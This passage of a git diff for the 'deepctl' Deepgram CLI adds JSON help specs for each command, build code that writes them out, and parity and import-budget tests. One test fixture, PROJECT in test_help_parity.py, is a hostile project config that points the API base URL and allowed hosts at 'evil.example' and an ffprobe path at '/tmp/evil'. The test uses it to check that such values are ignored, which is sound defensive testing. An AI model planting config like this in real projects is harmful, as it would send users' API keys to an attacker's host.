+        "hidden": false,
+        "help": "Show usage for last month"
+      },
+      {
+        "class": "option",
+        "name": "last_week",
+        "opts": [
+          "--last-week"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show usage for last week"
+      },
+      {
+        "class": "option",
+        "name": "end_date",
+        "opts": [
+          "--end-date",
+          "-e"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "End date (YYYY-MM-DD or ISO format)"
+      },
+      {
+        "class": "option",
+        "name": "start_date",
+        "opts": [
+          "--start-date",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Start date (YYYY-MM-DD or ISO format)"
+      },
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Project ID (uses configured project if not provided)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/whoami.json b/src/deepctl/_manifest.d/whoami.json
index 6fc434d2..dbd1a011 100644
--- a/src/deepctl/_manifest.d/whoami.json
+++ b/src/deepctl/_manifest.d/whoami.json
@@ -5,5 +5,153 @@
   "dist": "deepctl-cmd-login",
   "summary": "Show auth status",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "whoami",
+    "help": "Show current authentication status\n\nExamples:\n  dg whoami\n  dg whoami --profile staging\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Show auth status",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "profile",
+        "opts": [
+          "--profile"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Profile to inspect (default: active profile)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.py b/src/deepctl/_manifest.py
index c8eb520b..8598a41f 100644
--- a/src/deepctl/_manifest.py
+++ b/src/deepctl/_manifest.py
@@ -120,3 +120,29 @@ def builtin_subcommand_modules() -> dict[str, dict[str, str]]:
         if sep:
             groups.setdefault(group, {})[name] = entry["module"]
     return groups
+
+
+def help_spec(path: str) -> dict[str, Any] | None:
+    """The help spec of the built-in at ``path`` (``"listen"``, ``"debug
+    audio"``), or ``None`` when there is none or it can't be read.
+
+    An installed wheel has one file per command in ``deepctl/_help/``; a
+    source tree reads the ``help`` block of the command's fragment. Neither
+    is ever parsed for root ``--help``.
+    """
+    load()
+    group, _, name = path.rpartition(" ")
+    file_name = f"{group}-{name}.json" if group else f"{name}.json"
+    try:
+        if source == "fragments":
+            with open(
+                os.path.join(_HERE, "_manifest.d", file_name), encoding="utf-8"
+            ) as f:
+                data = json.load(f)
+            spec = data.get("help") if isinstance(data, dict) else None
+        else:
+            with open(os.path.join(_HERE, "_help", file_name), encoding="utf-8") as f:
+                spec = json.load(f)
+    except (OSError, ValueError):
+        return None
+    return spec if isinstance(spec, dict) and spec.get("name") == name else None
diff --git a/src/deepctl/_manifest_build.py b/src/deepctl/_manifest_build.py
index bf30d8e8..a5c76907 100644
--- a/src/deepctl/_manifest_build.py
+++ b/src/deepctl/_manifest_build.py
@@ -17,6 +17,15 @@
 available there) and, from a source tree, at run time. ``python -m
 deepctl._manifest_build [--check] [--out FILE] [FRAGMENT_DIR]`` runs it by
 hand; ``--check`` validates without writing.
+
+Each fragment can also carry a ``help`` block: its command's ``--help`` as
+data (``deepctl._help_spec``). ``assemble()`` copies those blocks to
+``deepctl/_help/<fragment>.json`` when given a ``help_dir`` (never into
+``_manifest.json``, which root ``--help`` and ``dg mcp`` parse). The blocks
+are written at dev time by ``--write-help``, which imports every command
+through ``PluginManager``; ``--check`` then fails on a block that no longer
+matches its command. Those two options, unlike ``assemble()``, need the
+installed CLI.
 """
 
 from __future__ import annotations
@@ -31,6 +40,7 @@
 
 FRAGMENT_DIR_NAME = "_manifest.d"
 MANIFEST_NAME = "_manifest.json"
+HELP_DIR_NAME = "_help"
 
 # Command, alias and tool names: the plugin name rule (0.4.2), so a built-in
 # name is always one a plugin could also try to claim.
@@ -55,6 +65,7 @@
     "deprecated": (bool, str),
     "aliases": list,
     "tools": list,
+    "help": dict,
 }
 
 
@@ -103,16 +114,33 @@ def _check_fragment(file_name: str, data: Any) -> dict[str, Any]:
     for tool in data.get("tools", []):
         if not isinstance(tool, str) or TOOL_NAME.fullmatch(tool) is None:
             raise ManifestError(f"{where}: tool {tool!r} is not valid")
-    expected = (
-        f"{data['parent']}-{data['name']}.json"
-        if "parent" in data
-        else f"{data['name']}.json"
-    )
-    if file_name != expected:
-        raise ManifestError(f"{where}: this fragment must be named {expected}")
+    if "help" in data:
+        _check_help(where, data["help"], data["name"])
+    if file_name != fragment_file_name(data):
+        raise ManifestError(
+            f"{where}: this fragment must be named {fragment_file_name(data)}"
+        )
     return data
 
 
+def fragment_file_name(fragment: dict[str, Any]) -> str:
+    """``<name>.json``, or ``<parent>-<name>.json`` for a subcommand: the
+    fragment's file name, and its help file's in ``_help/``."""
+    if "parent" in fragment:
+        return f"{fragment['parent']}-{fragment['name']}.json"
+    return f"{fragment['name']}.json"
+
+
+def _check_help(where: str, spec: Any, name: str) -> None:
+    """The shape the runtime relies on; ``--check`` compares the content."""
+    if not isinstance(spec, dict) or spec.get("name") != name:
+        raise ManifestError(f"{where}: 'help' must be an object named {name!r}")
+    if not isinstance(spec.get("params"), list) or not all(
+        isinstance(p, dict) for p in spec["params"]
+    ):
+        raise ManifestError(f"{where}: 'help.params' must be a list of objects")
+
+
 def load_fragments(directory: str | None = None) -> list[dict[str, Any]]:
     """Every fragment in ``directory``, checked one by one, in name order."""
     directory = directory or fragment_dir()
@@ -186,20 +214,104 @@ def dumps(manifest: dict[str, Any]) -> str:
     return json.dumps(manifest, indent=1, ensure_ascii=False, sort_keys=False) + "\n"
 
 
+def _write_atomic(path: str, text: str) -> None:
+    tmp = f"{path}.{os.getpid()}.tmp"
+    with open(tmp, "w", encoding="utf-8") as f:
+        f.write(text)
+    os.replace(tmp, path)
+
+
+def write_help_files(fragments: list[dict[str, Any]], help_dir: str) -> list[str]:
+    """Write each fragment's ``help`` block to ``help_dir/<fragment>.json``
+    and remove any other file there; returns the paths written."""
+    os.makedirs(help_dir, exist_ok=True)
+    written = []
+    for fragment in fragments:
+        if "help" not in fragment:
+            continue
+        path = os.path.join(help_dir, fragment_file_name(fragment))
+        text = json.dumps(fragment["help"], ensure_ascii=False, separators=(",", ":"))
+        _write_atomic(path, text + "\n")
+        written.append(path)
+    keep = {os.path.basename(p) for p in written}
+    for file_name in os.listdir(help_dir):
+        if file_name.endswith(".json") and file_name not in keep:
+            os.remove(os.path.join(help_dir, file_name))
+    return written
+
+
 def assemble(
-    directory: str | None = None, out_path: str | None = None
+    directory: str | None = None,
+    out_path: str | None = None,
+    help_dir: str | None = None,
 ) -> dict[str, Any]:
-    """Build the manifest from the fragments in ``directory`` and, when
-    ``out_path`` is given, write it there atomically."""
-    manifest = build(load_fragments(directory))
+    """Build the manifest from the fragments in ``directory``. When
+    ``out_path`` is given, write it there atomically; when ``help_dir`` is,
+    write the fragments' help specs there (``write_help_files``)."""
+    fragments = load_fragments(directory)
+    manifest = build(fragments)
     if out_path is not None:
-        tmp = f"{out_path}.{os.getpid()}.tmp"
-        with open(tmp, "w", encoding="utf-8") as f:
-            f.write(dumps(manifest))
-        os.replace(tmp, out_path)
+        _write_atomic(out_path, dumps(manifest))
+    if help_dir is not None:
+        write_help_files(fragments, help_dir)
     return manifest
 
 
+def dump_fragment(fragment: dict[str, Any]) -> str:
+    """A fragment as stored in ``_manifest.d`` (stable bytes)."""
+    return json.dumps(fragment, indent=2, ensure_ascii=False) + "\n"
+
+
+def generate_help(directory: str | None = None) -> dict[str, dict[str, Any]]:
+    """Fragment file name to the help spec of its command as installed.
+
+    Each command is built the way ``dg`` builds it
+    (``PluginManager._create_click_command``) and its spec is checked by
+    rebuilding the command and rendering both (``_help_spec.verify``).
+    Needs Click and the installed commands.
+    """
+    import importlib
+
+    from deepctl_core.plugin_manager import PluginManager
+
+    from deepctl import _help_spec
+
+    manager = PluginManager()
+    specs: dict[str, dict[str, Any]] = {}
+    for fragment in load_fragments(directory):
+        command_class = getattr(
+            importlib.import_module(fragment["module"]), fragment["attr"]
+        )
+        command = manager._create_click_command(command_class())
+        try:
+            spec = _help_spec.to_spec(command)
+            _help_spec.verify(command, spec)
+        except _help_spec.SpecError as exc:
+            raise ManifestError(
+                f"{FRAGMENT_DIR_NAME}/{fragment_file_name(fragment)}: {exc}"
+            ) from None
+        specs[fragment_file_name(fragment)] = spec
+    return specs
+
+
+def stale_help(directory: str | None = None, *, write: bool = False) -> list[str]:
+    """Fragments whose ``help`` block doesn't match their command. With
+    ``write``, those fragments are rewritten with the current block."""
+    directory = directory or fragment_dir()
+    stale = []
+    for file_name, spec in sorted(generate_help(directory).items()):
+        path = os.path.join(directory, file_name)
+        with open(path, encoding="utf-8") as f:
+            data = json.load(f)
+        if data.get("help") == spec:
+            continue
+        stale.append(file_name)
+        if write:
+            data["help"] = spec
+            _write_atomic(path, dump_fragment(data))
+    return stale
+
+
 def __getattr__(name: str) -> Any:
     # ``BuildPy`` imports setuptools, so it's built only when the build
     # backend asks for it (``[tool.setuptools.cmdclass]``), never at run time.
@@ -223,39 +335,79 @@ class BuildPy(build_py):  # type: ignore[misc]
         def _manifest_path(self) -> str:
             return os.path.join(self.build_lib, "deepctl", MANIFEST_NAME)
 
+        def _help_dir(self) -> str:
+            return os.path.join(self.build_lib, "deepctl", HELP_DIR_NAME)
+
         def run(self) -> None:
             super().run()
             if getattr(self, "editable_mode", False):
                 return
             os.makedirs(os.path.dirname(self._manifest_path()), exist_ok=True)
-            assemble(fragment_dir(), self._manifest_path())
+            assemble(fragment_dir(), self._manifest_path(), self._help_dir())
 
         def get_outputs(self, include_bytecode: bool = True) -> list[str]:
             outputs: list[str] = super().get_outputs(include_bytecode)
             if not getattr(self, "editable_mode", False):
                 outputs.append(self._manifest_path())
+                outputs.extend(
+                    os.path.join(self._help_dir(), fragment_file_name(f))
+                    for f in load_fragments(fragment_dir())
+                    if "help" in f
+                )
             return outputs
 
     return BuildPy
 
 
+def _option_value(args: list[str], option: str) -> tuple[str | None, bool]:
+    """Remove ``option VALUE`` from ``args``: ``(value, ok)``."""
+    if option not in args:
+        return None, True
+    index = args.index(option)
+    if index + 1 >= len(args):
+        return None, False
+    value = args[index + 1]
+    del args[index : index + 2]
+    return value, True
+
+
 def _main(argv: list[str]) -> int:
     check = "--check" in argv
-    args = [a for a in argv if a != "--check"]
-    out = None
-    if "--out" in args:
-        index = args.index("--out")
-        if index + 1 >= len(args):
-            sys.stderr.write("manifest: --out needs a file name\n")
-            return 2
-        out = args[index + 1]
-        del args[index : index + 2]
+    write_help = "--write-help" in argv
+    args = [a for a in argv if a not in ("--check", "--write-help")]
+    out, ok = _option_value(args, "--out")
+    if not ok:
+        sys.stderr.write("manifest: --out needs a file name\n")
+        return 2
+    help_dir, ok = _option_value(args, "--help-dir")
+    if not ok:
+        sys.stderr.write("manifest: --help-dir needs a directory\n")
+        return 2
+    directory = args[0] if args else None
     try:
-        manifest = assemble(args[0] if args else None, None if check else out)
+        if write_help:
+            for file_name in stale_help(directory, write=True):
+                sys.stderr.write(f"manifest: wrote the help block of {file_name}\n")
+        manifest = assemble(
+            directory,
+            None if check else out,
+            None if check else help_dir,
+        )
+        if check:
+            stale = stale_help(directory)
+            if stale:
+                sys.stderr.write(
+                    "manifest: help blocks out of date (run python -m "
+                    f"deepctl._manifest_build --write-help): {', '.join(stale)}\n"
+                )
+                return 1
     except (ManifestError, OSError) as exc:
         sys.stderr.write(f"manifest: {exc}\n")
         return 1
-    if out is None and not check:
+    except ImportError as exc:
+        sys.stderr.write(f"manifest: can't import a command to check help: {exc}\n")
+        return 1
+    if out is None and not check and not write_help:
         sys.stdout.write(dumps(manifest))
     return 0
 
diff --git a/tests/unit/test_command_imports.py b/tests/unit/test_command_imports.py
index 34edc514..cbc82828 100644
--- a/tests/unit/test_command_imports.py
+++ b/tests/unit/test_command_imports.py
@@ -1,8 +1,8 @@
 """Command modules import no network stack at module level.
 
-``dg <cmd> --help`` imports the command's module, so a module-level
-``asyncio``, ``ssl``, ``httpx``, ``websockets`` or Deepgram SDK import is
-paid by every help and every run of that command. Each built-in module in
+Running a command imports its module (its ``--help`` renders from the help
+spec instead), so a module-level ``asyncio``, ``ssl``, ``httpx``,
+``websockets`` or Deepgram SDK import is paid by every run of that command. Each built-in module in
 the manifest is imported in a fresh interpreter and must leave all of them
 out of ``sys.modules``; they belong inside the functions that use them.
 """
@@ -84,17 +84,29 @@ def test_command_help_imports_no_network_stack(command: str, tmp_path: Path) ->
     assert proc.returncode == 0, proc.stderr[-1500:]
 
 
-@pytest.mark.xfail(
-    strict=True,
-    reason=(
-        "the debug group callback builds an API client before a subcommand's "
-        "--help, which imports httpx, ssl and keyring (pre-existing; followup "
-        "W3.2-r1 N2)"
-    ),
-)
+def _is_group(path: str) -> bool:
+    return bool((_manifest.help_spec(path) or {}).get("group"))
+
+
 @pytest.mark.parametrize(
     "path",
-    sorted(p.split(" ") for p in _manifest.commands() if " " in p),
+    [
+        pytest.param(
+            p.split(" "),
+            marks=pytest.mark.xfail(
+                strict=True,
+                reason=(
+                    "a subcommand group's help takes the full path, where the "
+                    "parent group's callback builds an API client (httpx, ssl, "
+                    "keyring) before the subcommand parses --help"
+                ),
+            )
+            if _is_group(p)
+            else (),
+        )
+        for p in sorted(_manifest.commands())
+        if " " in p
+    ],
     ids=lambda p: " ".join(p),
 )
 def test_subcommand_help_imports_no_network_stack(
@@ -103,3 +115,33 @@ def test_subcommand_help_imports_no_network_stack(
     """`dg <group> <sub> --help` for every built-in subcommand."""
     proc = _help_imports(path, tmp_path)
     assert proc.returncode == 0, proc.stderr[-1500:]
+
+
+@pytest.mark.parametrize(
+    "path",
+    sorted(
+        p.split(" ")
+        for p in _manifest.commands()
+        if p not in _manifest.groups() and not _is_group(p)
+    ),
+    ids=lambda p: " ".join(p),
+)
+def test_leaf_help_imports_no_command_module(path: list[str], tmp_path: Path) -> None:
+    """`dg <cmd> --help` for a built-in leaf renders from its help spec: no
+    command module is imported."""
+    code = (
+        "import sys; sys.argv = ['dg', *sys.argv[1:], '--help']; "
+        "from deepctl.main import main\n"
+        "try:\n    main()\nexcept SystemExit as e:\n    assert not e.code, e.code\n"
+        "bad = sorted(m for m in sys.modules if m.startswith('deepctl_cmd_'))\n"
+        "sys.stderr.write('BAD ' + ' '.join(bad) + chr(10)); sys.exit(1 if bad else 0)"
+    )
+    proc = subprocess.run(
+        [sys.executable, "-c", code, *path],
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        stdin=subprocess.DEVNULL,
+        timeout=120,
+    )
+    assert proc.returncode == 0, proc.stderr[-1500:]
diff --git a/tests/unit/test_help_parity.py b/tests/unit/test_help_parity.py
new file mode 100644
index 00000000..28b4ea9f
--- /dev/null
+++ b/tests/unit/test_help_parity.py
@@ -0,0 +1,225 @@
+"""``dg <cmd> --help`` from a help spec is byte-for-byte what the command
+itself prints (stdout, stderr and exit code): against the normal lazy path
+with the spec turned off, and against ``DEEPCTL_EAGER_LOAD=1``, which
+imports every command up front.
+
+One difference from eager mode predates help specs: with an unreadable HOME,
+eager mode tries to load plugins up front and prints one
+``WARN: Couldn't load plugins: ...`` line, which the lazy path never prints
+for a built-in. That line, and only it, is allowed there.
+
+The matrix: every built-in leaf, at three widths, under each output
+environment, with each config fixture. The unit suite runs a sample that
+covers every leaf, every environment and every fixture;
+``DG_PARITY_FULL=1`` runs all of it. Each run gets its fixture built afresh,
+since a run may fix a config file's mode.
+"""
+
+from __future__ import annotations
+
+import itertools
+import os
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+import yaml
+
+from deepctl import _manifest
+
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+# The lazy path with help specs turned off (the command module is imported).
+NO_SPEC = "import deepctl._cli as c; c.LazyGroup._help_command = lambda *a: None; "
+FULL_ENTRY = NO_SPEC + ENTRY
+FULL_MODULE = (
+    NO_SPEC + "import runpy, sys; sys.argv[0] = 'deepctl'; "
+    "runpy.run_module('deepctl', run_name='__main__', alter_sys=True)"
+)
+EAGER_WARN = "WARN: Couldn't load plugins: "
+KEY = "fa1ce0000000000000000000000000000000000d"
+
+LEAVES = sorted(
+    [path] if " " not in path else path.split(" ")
+    for path, entry in _manifest.commands().items()
+    if path not in _manifest.groups()
+    and not (_manifest.help_spec(path) or {}).get("group")
+)
+WIDTHS = ["50", "80", "200"]
+VARIANTS = ["plain", "agent", "no-color", "prog-name", "module", "home-unreadable"]
+FIXTURES = ["none", "trusted", "untrusted-agent", "project"]
+
+TRUSTED = {
+    "profiles": {"default": {"api_key": KEY, "base_url": "http://127.0.0.1:8000"}},
+    "api": {"allowed_hosts": ["127.0.0.1:8000"]},
+    "tools": {"ffprobe_path": "/usr/bin/ffprobe"},
+    "plugins": {"allow_override": []},
+}
+PROJECT = {
+    "api": {"allowed_hosts": ["evil.example"]},
+    "tools": {"ffprobe_path": "/tmp/evil"},
+    "telemetry": {"enabled": False},
+    "update": {"check_enabled": False},
+    "plugins": {"allow_override": ["listen"]},
+    "api_key": KEY,
+    "project_id": "p",
+    "active_profile": "evil",
+    "default_profile": "evil",
+    "base_url": "http://evil.example",
+    "output": {"format": "json", "bogus": 1},
+    "profiles": {"x": {"api_key": KEY, "base_url": "http://evil.example"}},
+    "other": 1,
+}
+
+
+def _cases() -> list[tuple[list[str], str, str, str]]:
+    full = list(itertools.product(LEAVES, WIDTHS, VARIANTS, FIXTURES))
+    if os.environ.get("DG_PARITY_FULL") == "1":
+        return full
+    # Every leaf once, then every variant with every fixture, each on a
+    # different leaf and width.
+    sample = [(leaf, "80", "plain", "none") for leaf in LEAVES]
+    for index, (variant, fixture) in enumerate(itertools.product(VARIANTS, FIXTURES)):
+        sample.append(
+            (LEAVES[(index * 7) % len(LEAVES)], WIDTHS[index % 3], variant, fixture)
+        )
+    return sample
+
+
+def _fixture(root: Path, fixture: str, variant: str) -> tuple[Path, Path]:
+    """Build ``root`` afresh: (home, cwd)."""
+    if root.exists():
+        for path in [root, *root.rglob("*")]:
+            if path.is_dir() and not path.is_symlink():
+                os.chmod(path, 0o700)
+        shutil.rmtree(root)
+    home, cwd = root / "home", root / "work"
+    home.mkdir(parents=True)
+    cwd.mkdir()
+    if fixture in ("trusted", "untrusted-agent"):
+        config = home / ".config" / "deepctl" / "config.yaml"
+        config.parent.mkdir(parents=True)
+        config.write_text(yaml.safe_dump(TRUSTED))
+        # A key in a 0644 file: a person's run restricts it (I-PERM-FIXED).
+        os.chmod(config, 0o644)
+    if fixture == "project":
+        (cwd / "deepgram.yaml").write_text(yaml.safe_dump(PROJECT))
+    if variant == "home-unreadable":
+        os.chmod(home, 0)
+    return home, cwd
+
+
+def _run(
+    leaf: list[str], width: str, variant: str, fixture: str, root: Path, mode: str
+) -> tuple[int, str, str]:
+    """One run: ``mode`` is "spec" (the default path), "eager" or "full"
+    (lazy, with help specs turned off)."""
+    home, cwd = _fixture(root, fixture, variant)
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "DEEPCTL_", "XDG_"))
+        and k not in ("AI_AGENT", "NO_COLOR", "CI", "CLAUDECODE", "COLUMNS")
+    }
+    env.update(
+        HOME=str(home),
+        COLUMNS=width,
+        TERM="xterm",
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+    )
+    if mode == "eager":
+        env["DEEPCTL_EAGER_LOAD"] = "1"
+    if variant == "agent" or fixture == "untrusted-agent":
+        env["AI_AGENT"] = "1"
+    if variant == "no-color":
+        env["NO_COLOR"] = "1"
+    if variant == "prog-name":
+        env["DEEPCTL_PROG_NAME"] = "deepctl"
+    if mode == "full":
+        argv = [
+            sys.executable,
+            "-c",
+            FULL_MODULE if variant == "module" else FULL_ENTRY,
+        ]
+    elif variant == "module":
+        argv = [sys.executable, "-m", "deepctl"]
+    else:
+        argv = [sys.executable, "-c", ENTRY]
+    proc = subprocess.run(
+        [*argv, *leaf, "--help"],
+        capture_output=True,
+        text=True,
+        env=env,
+        cwd=cwd,
+        stdin=subprocess.DEVNULL,
+        timeout=120,
+    )
+    return proc.returncode, proc.stdout, proc.stderr
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+@pytest.mark.parametrize(
+    ("leaf", "width", "variant", "fixture"),
+    _cases(),
+    ids=lambda v: " ".join(v) if isinstance(v, list) else str(v),
+)
+def test_help_from_spec_matches_eager(
+    leaf: list[str], width: str, variant: str, fixture: str, tmp_path: Path
+) -> None:
+    if variant == "home-unreadable" and os.geteuid() == 0:
+        pytest.skip("root can read any directory")
+    root = tmp_path / "r"
+    spec = _run(leaf, width, variant, fixture, root, "spec")
+    full = _run(leaf, width, variant, fixture, root, "full")
+    eager = _run(leaf, width, variant, fixture, root, "eager")
+    assert spec == full
+    if variant == "home-unreadable":
+        lines = eager[2].splitlines(keepends=True)
+        warns = [i for i, line in enumerate(lines) if line.startswith(EAGER_WARN)]
+        assert len(warns) <= 1
+        if warns:
+            del lines[warns[0]]
+        eager = (eager[0], eager[1], "".join(lines))
+    assert spec == eager
+    assert spec[0] == 0, spec[2][-1500:]
+    assert spec[1].startswith("Usage: ")
+
+
+def test_matrix_reaches_the_notices(tmp_path: Path) -> None:
+    """The fixtures print what they're there for on the spec path, and each
+    deepgram.yaml warning prints exactly once, with its real text."""
+    root = tmp_path / "r"
+    _, _, err = _run(["listen"], "80", "plain", "project", root, "spec")
+    lines = [line for line in err.splitlines() if line.startswith("⚠ Ignored ")]
+    assert len(lines) == 14
+    assert len(set(lines)) == len(lines)
+    assert all(" in ./deepgram.yaml: project files " in line for line in lines)
+    assert (
+        "⚠ Ignored api.allowed_hosts in ./deepgram.yaml: project files can't "
+        "approve hosts for your API key." in lines
+    )
+    _, _, err = _run(["listen"], "80", "plain", "untrusted-agent", root, "spec")
+    agent_lines = [
+        line for line in err.splitlines() if "in an AI agent session" in line
+    ]
+    assert len(agent_lines) == 4
+    _, _, err = _run(["speak"], "80", "plain", "trusted", root, "spec")
+    assert "Restricted ~/.config/deepctl/config.yaml to owner-only access" in err
+
+
+def test_leaves_cover_the_t3_rows() -> None:
+    names = {" ".join(leaf) for leaf in LEAVES}
+    assert {
+        "transcribe",
+        "listen",
+        "speak",
+        "api",
+        "debug audio",
+        "debug network",
+        "debug probe",
+        "debug browser",
+    } <= names
+    assert "debug" not in names
+    assert "debug toolkit" not in names
diff --git a/tests/unit/test_import_budget.py b/tests/unit/test_import_budget.py
index c71698d5..0825696b 100644
--- a/tests/unit/test_import_budget.py
+++ b/tests/unit/test_import_budget.py
@@ -228,9 +228,36 @@ def test_version_imports_no_command_module(tmp_path: Path) -> None:
 
 
 def test_subcommand_help_imports(tmp_path: Path) -> None:
-    """`dg transcribe --help` (the T3 row): no network stack, no SDK."""
+    """`dg transcribe --help` (the T3 row): no network stack, no SDK, and no
+    command module (its help comes from the manifest's help spec)."""
     proc, modules = _imports(["transcribe", "--help"], tmp_path)
     assert proc.returncode == 0, proc.stderr[-2000:]
     assert _forbidden_hits(modules, GATES_IMPORTS["forbidden"]["subhelp"]) == []
-    commands = {m.split(".")[0] for m in modules if m.startswith("deepctl_cmd_")}
-    assert commands == {"deepctl_cmd_transcribe", "deepctl_cmd_listen"}
+    assert not [m for m in modules if m.startswith("deepctl_cmd_")]
+
+
+# Never on `dg listen --help` with no config files (bench row imports_subhelp).
+SUBHELP_SPEC_FORBIDDEN = [
+    "pydantic",
+    "yaml",
+    "rich",
+    "deepctl_cmd_",
+    "deepctl_core.base_command",
+]
+
+
+@pytest.mark.parametrize(
+    "path", [["listen"], ["speak"], ["api"], ["debug", "probe"]], ids=" ".join
+)
+def test_subcommand_help_from_spec_imports(path: list[str], tmp_path: Path) -> None:
+    proc, modules = _imports([*path, "--help"], tmp_path)
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    hits = sorted(
+        {
+            m
+            for m in modules
+            for f in SUBHELP_SPEC_FORBIDDEN
+            if m == f or m.startswith(f if f.endswith("_") else f + ".")
+        }
+    )
+    assert hits == []
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 5a480781..09c6f013 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -281,9 +281,16 @@ def test_subcommand_help_equals_eager(
